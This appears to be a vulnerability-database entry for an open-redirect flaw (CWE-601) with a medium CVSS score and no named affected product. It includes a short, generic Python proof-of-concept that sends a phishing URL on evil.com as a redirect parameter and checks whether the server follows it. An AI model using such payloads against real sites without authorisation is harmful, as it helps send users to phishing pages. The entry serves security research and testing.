CWE-601 URL redirection to untrusted site ('open redirect')
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
未知
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
target_url = "http://example.com/redirect"
malicious_payload = "http://evil.com/phishing"
# Sending a GET request with the malicious redirect parameter
params = {
"url": malicious_payload # Common parameter name, might vary
}
response = requests.get(target_url, params=params, allow_redirects=False)
# Check if the server responds with a 302/301 Redirect
if response.status_code in [301, 302, 303, 307, 308]:
if "evil.com" in response.headers.get('Location', ''):
print(f"[+] Vulnerability Confirmed! Redirecting to: {response.headers['Location']}")
else:
print("[-] Redirect occurred, but not to the malicious payload.")
else:
print("[-] No redirect detected.")